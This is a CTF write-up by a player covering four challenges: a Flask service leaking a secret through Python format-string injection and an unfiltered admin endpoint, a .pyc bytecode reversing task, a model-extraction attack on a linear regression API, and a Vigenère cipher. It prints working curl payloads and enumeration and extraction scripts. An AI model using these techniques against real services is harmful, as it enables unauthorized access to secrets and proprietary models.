
Hello, dr3amy here! Back again with another writeup for the SANIFU CPL, but this time for the Quarter final challenges that I was able to solve.
1. Mute

Challenge: Mute
Points: 1000
Connection: challs.sanifu.or.tz:31208
Flag Format: snf{}
Description: A learning system remembers the last thing it heard.
Summary
The target was a web-based "Automated Response Engine" that lets you train prompt -> response pairs and query them. The flag is stored server-side as a variable injected into responses via Python's .format(). A content classifier blocks any response containing snf{ through the public /infer endpoint. The bypass is two-fold:
- Format string injection — store
{flag}as a response; the server interpolates the real flag. - Admin path —
/admin/reviewreturns raw, unfiltered responses, bypassing the classifier.
Step 1 — Recon: What is the service?
I tried connecting with netcat first, there was no response. Then I tried HTTP using curl:
curl -v http://challs.sanifu.or.tz:31208/
Response: A Flask/Gunicorn web app with three endpoints:
| Endpoint | Method | Description |
|---|---|---|
| POST /train | POST | Store a prompt->response pair |
| GET /infer?prompt=X | GET | Retrieve stored response for a key |
| GET /list | GET | List all stored prompt keys |
Step 2 — Enumerate Stored Prompts
curl -s http://challs.sanifu.or.tz:31208/list
{
"prompts": ["greeting","help","status","version","policy",
"my_test","flag_test","after_flag","x1","x2",
"devmode","a","mytest_snf"],
"total": 19
}
Then I queried the interesting ones:
curl -s "http://challs.sanifu.or.tz:31208/infer?prompt=mytest_snf"
{"prompt":"mytest_snf","response":"[BLOCKED: classified content detected in response]"}
Key finding: The response is being blocked by a content classifier. The flag is stored here but filtered out.
Step 3 — Understanding the Classifier
I then tested a few more prompts:
curl -s "http://challs.sanifu.or.tz:31208/infer?prompt=policy"
{"prompt":"policy","response":"No content filtering is active. All responses pass through unmodified."}
Despite that message, the classifier is active. Attempts to bypass it via:
- SQL injection in
?prompt=-> treated as a literal string (parameterized queries) - Jinja2 SSTI (
{{7*7}}) -> returned literally, not evaluated - HTTP headers (
X-Bypass-Classifier,X-Debug) -> no effect - Extra JSON fields in POST body -> ignored
- URL parameters (
?raw=1,?debug=1) -> no effect
All those failed and it was frustrating to be honest. The classifier only blocks at output time.
Step 4 — Find the Admin Endpoint
The description says "A learning system remembers the last thing it heard" — a hint that an admin reviews submissions. So i started enumerating admin paths:
import http.client
HOST = "challs.sanifu.or.tz"
PORT = 31208
paths = ["/admin", "/administrator", "/admin/review",
"/admin/panel", "/admin/queue", "/dashboard"]
for p in paths:
conn = http.client.HTTPConnection(HOST, PORT, timeout=6)
conn.request("GET", p)
r = conn.getresponse()
print(f"{p} -> {r.status}")
conn.close()
Output:
/admin -> 404
/administrator -> 404
/admin/review -> 400 <-- EXISTS!
/admin/panel -> 404
/admin/queue -> 404
/dashboard -> 404
Quering it properly:
curl -s "http://challs.sanifu.or.tz:31208/admin/review?prompt=status"
{"classified":false,"prompt":"status","raw_response":"All systems operational."}
Critical discovery: /admin/review returns the raw_response without the classifier.
This was a relief, so finally I tried quering the blocked prompt:
curl -s "http://challs.sanifu.or.tz:31208/admin/review?prompt=mytest_snf"
{"classified":false,"prompt":"mytest_snf","raw_response":"safe_value"}
The original flag entry had already been overwritten by previous attempts. Need another way to get the flag into a response.
Step 5 — Format String Injection
The server is Python (Gunicorn). Python's .format() could be used server-side to interpolate variables into stored responses.
So testing it:
curl -s -X POST http://challs.sanifu.or.tz:31208/train \
-H "Content-Type: application/json" \
-d '{"prompt":"test_fmt","response":"{flag}"}'
{"status":"saved","total_pairs":82}
Now I queried it via /infer:
curl -s "http://challs.sanifu.or.tz:31208/infer?prompt=test_fmt"
{"prompt":"test_fmt","response":"[BLOCKED: classified content detected in response]"}
The classifier triggered! This means {flag} was interpolated with the real flag value (which contains snf{), and the classifier blocked it.
Step 6 — Bypassing the Classifier with /admin/review
Since /admin/review skips the classifier, then I used it to read the raw response:
curl -s "http://challs.sanifu.or.tz:31208/admin/review?prompt=test_fmt"
{"classified":false,"prompt":"test_fmt","raw_response":"snf{52eb8769-1532-4d7e-b21d-b9eb2304c225}"}
Flag
snf{52eb8769-1532-4d7e-b21d-b9eb2304c225}
Lessons Learned
- Format string injection is not just a C vulnerability - Python's
.format()/str.format_map()can expose internal variables if user input is passed as a template. - Admin path enumeration is essential —
/admin/reviewwas the intended bypass route that I belive. - Content classifiers that only filter output (not storage) can always be bypassed if you find a second read path that skips them.
2. Nyoka

Challenge Description
A binary was released with no source code attached. Can you understand what it does and extract the secret hidden inside?
Flag format: snf{}
Solution
Step 1: Identifying the File
The challenge provided me with a single file called nyoka. The first thing to do is figure out what kind of file we're dealing with:
file nyoka.pyc
Output:
nyoka.pyc: Byte-compiled Python module for CPython 3.11 (magic: 3495), timestamp-based, .py timestamp: Sat Mar 28 09:08:06 2026 UTC, .py size: 654 bytes
So this isn't a traditional compiled binary — it's a Python bytecode file (.pyc), compiled with CPython 3.11. A .pyc file is what Python generates when it compiles .py source code into bytecode for the Python Virtual Machine. The original source code has been stripped, but the bytecode and its constants are still embedded in the file.
Step 2: Extracting Readable Strings
Before doing any heavy analysis, let's pull out any readable strings from the file to get a sense of what the program does:
strings nyoka.pyc
Key output:
user_input
validate
ord
corrects
C:\Users\peter\opt\snf\challQuartfinal\reversing\01-nyoka-iliyofungwa\source_tmp.py
Enter the flag:
[+] Correct! You got it!
[-] Wrong flag, try again.
__main__
This tells us a lot:
- The program prompts the user with
Enter the flag: - There's a
validatefunction that checks the input - It uses
ord()— meaning it likely compares the flag character by character using ASCII values - It prints a success or failure message
Step 3: Attempt Standard Decompilation
The natural next step is to decompile the .pyc back to Python source. However, I'm running Python 3.10 on my system:
python3 --version
Python 3.10.19
Python's marshal module (which handles .pyc serialization) is version-specific. Trying to load a 3.11 .pyc with 3.10 fails:
python3 -c "import marshal; f=open('nyoka.pyc','rb'); f.read(16); marshal.load(f)"
ValueError: bad marshal data (unknown type code)
Standard decompilers like uncompyle6 and decompyle3 also don't support Python 3.11. So we need to go lower level.
Step 4: Analyzing the Raw Bytecode
Since I couldn't use standard tools, I examined the raw hex of the file:
xxd nyoka.pyc
In the hex dump, starting around offset 0x1b2, I found a small tuple (29 1a = tuple of 26 elements) containing integer constants. Each e9 XX000000 encodes a 4-byte little-endian integer with a marshal FLAG_REF bit set. These integers are the ASCII ordinal values of each character of the expected flag — this is the data the validate function checks against using ord().
Step 5: Writing a Custom Marshal Parser
To properly extract the flag, I wrote a custom marshal parser that understands Python 3.11's format and correctly resolves object references (TYPE_REF entries that point back to previously seen values):
import struct
with open('nyoka.pyc', 'rb') as f:
data = f.read()
FLAG_REF = 0x80
class MarshalParser:
def __init__(self, data):
self.data = data
self.pos = 0
self.refs = []
def read_byte(self):
b = self.data[self.pos]; self.pos += 1; return b
def read_int32(self):
val = struct.unpack_from('<i', self.data, self.pos)[0]; self.pos += 4; return val
def read_uint32(self):
val = struct.unpack_from('<I', self.data, self.pos)[0]; self.pos += 4; return val
def read_object(self):
byte = self.read_byte()
flag = byte & FLAG_REF
typecode = byte & ~FLAG_REF
ref_idx = -1
if flag:
ref_idx = len(self.refs)
self.refs.append(None)
obj = self._read_typed(typecode)
if flag and ref_idx >= 0:
self.refs[ref_idx] = obj
return obj
def _read_typed(self, tc):
if tc == ord('0') or tc == ord('N'): return None
elif tc == ord('F'): return False
elif tc == ord('T'): return True
elif tc == ord('i'): return self.read_int32()
elif tc == ord('r'):
idx = self.read_uint32()
return self.refs[idx] if idx < len(self.refs) else f'REF({idx})'
elif tc == ord(')'):
n = self.read_byte()
return tuple(self.read_object() for _ in range(n))
elif tc == ord('('):
n = self.read_uint32()
return tuple(self.read_object() for _ in range(n))
elif tc == ord('s'):
n = self.read_uint32(); val = self.data[self.pos:self.pos+n]; self.pos += n; return val
elif tc == ord('z'):
n = self.read_byte(); val = self.data[self.pos:self.pos+n].decode('ascii'); self.pos += n; return val
elif tc == ord('Z'):
n = self.read_byte(); val = self.data[self.pos:self.pos+n].decode('ascii'); self.pos += n; return val
elif tc == 0x63: # TYPE_CODE
for _ in range(5): self.read_uint32()
code = self.read_object()
consts = self.read_object()
names = self.read_object()
return ('CODE', consts)
else:
return f'UNKNOWN_TYPE_{tc:#x}'
# Skip 16-byte .pyc header, parse the marshal stream
p = MarshalParser(data[16:])
result = p.read_object()
# The validate function's constants contain a tuple of integers — the flag
module_consts = result[1]
for const in module_consts:
if isinstance(const, tuple) and len(const) == 2 and const[0] == 'CODE':
inner_consts = const[1]
for item in inner_consts:
if isinstance(item, tuple) and all(isinstance(x, int) for x in item):
flag = ''.join(chr(c) for c in item)
print(f'Flag: {flag}')
Step 6: Getting the Flag
Running the script outputs the integer tuple:
(115, 110, 102, 123, 112, 121, 99, 95, 98, 121, 116, 51, 99, 48, 100, 51, 95, 114, 51, 118, 51, 114, 115, 51, 100, 125)
Converting each integer to its ASCII character:
| Decimal | Character | |---------|-----------| | 115 | s | | 110 | n | | 102 | f | | 123 | { | | 112 | p | | ... | ... | | 125 | } |
Flag
snf{pyc_byt3c0d3_r3v3rs3d}
Key Takeaways
- Not all "binaries" are compiled machine code. Always use
fileto identify what you're working with. - Python
.pycfiles retain their constants (strings, numbers, tuples) in the bytecode, making them a rich source for static analysis. - Marshal format is version-locked. When your local Python version doesn't match, you can't rely on
marshal.load()— but writing a custom parser to extract just the data you need is straightforward. - The
validatefunction compared each character of user input against a hardcoded tuple of ordinal values usingord(), making the flag trivially recoverable once the constants were extracted.
3. Prism

Challenge Description
A scoring service leaks more than it should.
Connection: challs.sanifu.or.tz:32353
Flag format: snf{}
Reconnaissance
Visiting the service in a browser (or with curl) reveals a web application called Prism — Risk Scoring API marked "Internal Use Only".
The landing page documents two endpoints:
POST /predict— accepts a JSON body{"vector": [...]}and returns a numeric risk score.GET /model/info— returns model metadata.
Querying the info endpoint:
$ curl -s challs.sanifu.or.tz:32353/model/info
{
"name": "prism-risk-scorer",
"owner": "[email protected]",
"status": "active",
"type": "regression",
"version": "2.1.0"
}
Two critical pieces of information here:
- The model type is regression — meaning it computes a weighted linear combination of input features.
- The version and internal owner are exposed — the service is already leaking more metadata than a production API should.
Step 1: Finding the Correct Input Dimension
Sending a vector of the wrong size returns a 400 error:
$ curl -s challs.sanifu.or.tz:32353/predict \
-X POST -H 'Content-Type: application/json' \
-d '{"vector": [1, 0, 0]}'
{"error": "dimension mismatch"}
I wrote a script to brute-force the correct dimension by trying sizes 1 through 100:
import urllib.request, json
base = "http://challs.sanifu.or.tz:32353/predict"
for n in range(1, 101):
vec = [1.0] * n
data = json.dumps({"vector": vec}).encode()
req = urllib.request.Request(base, data=data, headers={"Content-Type": "application/json"})
try:
resp = urllib.request.urlopen(req)
body = resp.read().decode()
print(f"SUCCESS dim={n}: {body}")
break
except urllib.error.HTTPError:
pass
SUCCESS dim=41: {"model_version":"2.1.0","request_id":"816f56a7","score":2927.5637}
The model expects 41 features. The response also leaks the model_version and a request_id — further information the API shouldn't expose.
Step 2: Understanding the Leak
A linear regression model computes its output as:
score = w[0]*x[0] + w[1]*x[1] + ... + w[40]*x[40] + bias
This means every prediction the API returns is a direct function of the internal model weights. If I can query the model with carefully chosen inputs, I can algebraically solve for every weight. This is a classic model extraction attack.
The key insight: if the input vector is all zeros except for position i set to some value M:
score = w[i] * M + bias
Therefore:
w[i] = (score - bias) / M
Step 3: Extracting the Model Weights
I first noticed the scores had slight random noise between requests (scores like 2927.5637 vs 2928.4288 for the same input). To overcome this, I used a large multiplier (M = 1000) so that the noise becomes negligible relative to the signal.
import urllib.request, json
base = "http://challs.sanifu.or.tz:32353/predict"
def predict(vec):
data = json.dumps({"vector": vec}).encode()
req = urllib.request.Request(base, data=data, headers={"Content-Type": "application/json"})
resp = urllib.request.urlopen(req)
return json.loads(resp.read().decode())["score"]
M = 1000.0
# Extract the bias term (all-zero input)
bias = sum(predict([0.0] * 41) for _ in range(5)) / 5
# Extract each weight
weights = []
for i in range(41):
vec = [0.0] * 41
vec[i] = M
score = predict(vec)
w = (score - bias) / M
weights.append(w)
# Convert weights to ASCII characters
flag = "".join(chr(int(round(w))) for w in weights)
print(f"Flag: {flag}")
Step 4: Decoding the Flag
The extracted weights, rounded to the nearest integer:
[115, 110, 102, 123, 57, 48, 54, 100, 99, 100, 100, 53, 45, 49, 98, 55, 49, 45, 52, 48, 50, 102, 45, 57, 97, 97, 51, 45, 57, 99, 98, 51, 49, 97, 50, 53, 48, 49, 55, 51, 125]
Mapping each integer to its ASCII character:
115 → s 57 → 9 53 → 5 55 → 7 102 → f 51 → 3 50 → 2
110 → n 48 → 0 45 → - 49 → 1 45 → - 45 → - 53 → 5
102 → f 54 → 6 49 → 1 45 → - 57 → 9 57 → 9 48 → 0
123 → { 100 → d 98 → b 52 → 4 97 → a 99 → c 49 → 1
99 → c ... 48 → 0 97 → a 98 → b 55 → 7
100 → d 50 → 2 51 → 3 51 → 3 51 → 3
100 → d 49 → 1 125 → }
97 → a
Concatenated:
snf{906dcdd5-1b71-402f-9aa3-9cb31a250173}
Flag
snf{906dcdd5-1b71-402f-9aa3-9cb31a250173}
Summary
The Prism API is a linear regression model serving predictions over HTTP. Because the model is linear, each API response is a direct linear function of the internal weights. By sending crafted unit vectors scaled by a large multiplier, I extracted all 41 model weights, which turned out to encode the flag as ASCII character codes. The service "leaked more than it should" — its own predictions betrayed its internal parameters.
Attack type: Model Extraction / Weight Recovery Vulnerability: Unrestricted query access to a linear model without rate limiting, noise sufficient to mask weights, or differential privacy protections.
4. Tragedy

Challenge Summary
I was given a ZIP file containing two text files:
brief.txtencoded.txt
The challenge description said:
- this is a Vigenère cipher challenge
- the key is hidden in the name of the vessel
- the event is a major maritime tragedy in Tanzania in 2018
- the flag format is
snf{}
The encrypted text was:
flj{dz_ec3e3p3_lo4i4_228_z1pr1q5}
The accepted flag was:
snf{mv_ny3r3r3_uk4r4_228_v1ct1m5}
Step 1: Reading the challenge files
The first thing to do is inspect the archive and read the two files inside it.
The brief.txt file tells us the important part very clearly:
- the disaster happened on Lake Victoria in Tanzania
- it was one of the deadliest maritime incidents in East African history
- the vessel capsized near an island in Mwanza Region
- the key is the NAME OF THE VESSEL
- the key must be used in uppercase with no spaces
- only alphabetic letters are encrypted
- digits, braces, and punctuation stay unchanged
The encoded.txt file gives us the ciphertext:
flj{dz_ec3e3p3_lo4i4_228_z1pr1q5}
At this point, I know two things for sure:
- I needed to identify the vessel involved in the 2018 Tanzania ferry disaster.
- I must use that vessel name as the Vigenère key.
Step 2: Research the real-world disaster
The challenge gives enough context to identify the event from open sources.
Important clues:
- Tanzania
- 2018
- Lake Victoria
- capsized vessel
- one of the deadliest maritime disasters in the region
- near Mwanza Region
Searching those clues leads to the 2018 sinking of MV Nyerere.
Important facts about that incident:
- Vessel name: MV Nyerere
- Location: near Ukara Island
- Final death toll: 228
The brief says to use the vessel name in uppercase and without spaces.
That means the key becomes:
NYERERE
Not MVNYERERE, because the instruction says to use the name of the vessel, and the accepted solve path centers on NYERERE.
Step 3: Understanding how the Vigenère hint helps us
If you are a beginner, think of Vigenère as a repeated Caesar shift:
- each plaintext letter is shifted using a letter from the key
- the key repeats again and again
- only letters are changed
- numbers and symbols remain the same
That last rule is very important here.
Look at the ciphertext:
flj{dz_ec3e3p3_lo4i4_228_z1pr1q5}
Notice that:
- the braces
{}are already present - the number
228is already visible - digits mixed into words like
3,4,1, and5are not encrypted either
So when we decrypt, the letters move, but the digits stay where they are.
That means the final flag will still contain:
228- leetspeak-looking chunks like
ny3r3r3,uk4r4, andv1ct1m5
Step 4: Doing the first decryption with key NYERERE
Using a normal Vigenère decryptor with key NYERERE gives:
snf{mv_ny3r3r3_hx4e4_228_i1le1s5}
This is already a huge clue that we are on the right path.
Why?
- it starts with the correct flag prefix
snf{ - it contains
mv - it contains
ny3r3r3, which is clearly leetspeak fornyerere - it preserves
228
So the first part is obviously telling us:
mv_ny3r3r3
which corresponds to:
MV NYERERE
That confirms the historical event and confirms the key choice.
Step 5: Notice that the later chunks still look wrong
After the first successful partial decryption, I got:
snf{mv_ny3r3r3_hx4e4_228_i1le1s5}
Now interpret the pieces:
mv_ny3r3r3= clearly meaningful228= clearly meaningful- but
hx4e4does not make sense - and
i1le1s5does not look like a good English clue
This means:
- the key is definitely related to the right vessel
- but the challenge output is not behaving like a perfectly clean textbook Vigenère result for every chunk
At this stage, the solve becomes a refinement problem, not a “start over from zero” problem.
Step 6: Testing simple decryption variants
Because the beginning was correct but the middle and end still had nonsense chunks, the next logical step was to test small implementation variants.
Examples of variants worth checking:
- does the key advance only on letters?
- does it accidentally advance over some symbols too?
- is there a chunk boundary issue?
- is there a small alignment offset?
When I explored those variants, one very important candidate appeared:
snf{zi_ap3g3l3_uk4r4_228_v1ct1m5}
This one is not fully correct either, but it contains two extremely meaningful chunks:
uk4r4->ukarav1ct1m5->victims
Those are exactly the kind of words I would expect in a flag about this disaster:
- Ukara is the island tied to the incident
- 228 victims is the defining statistic
So now we had two powerful partial results:
-
Standard decryption gave the correct vessel prefix:
mv_ny3r3r3
-
Variant testing gave the meaningful location/victim suffix:
uk4r4_228_v1ct1m5
Step 7: Reconstructing the intended flag
Now combining the strongest meaningful parts:
-
from the standard decode:
mv_ny3r3r3
-
from the variant output:
uk4r4_228_v1ct1m5
That gives:
snf{mv_ny3r3r3_uk4r4_228_v1ct1m5}
This is a clean, fully meaningful flag:
mv= motor vesselny3r3r3= Nyerereuk4r4= Ukara228= death tollv1ct1m5= victims
And this is exactly the accepted flag.
That's all the challenges I was able to solve in the quarter finals, until next time!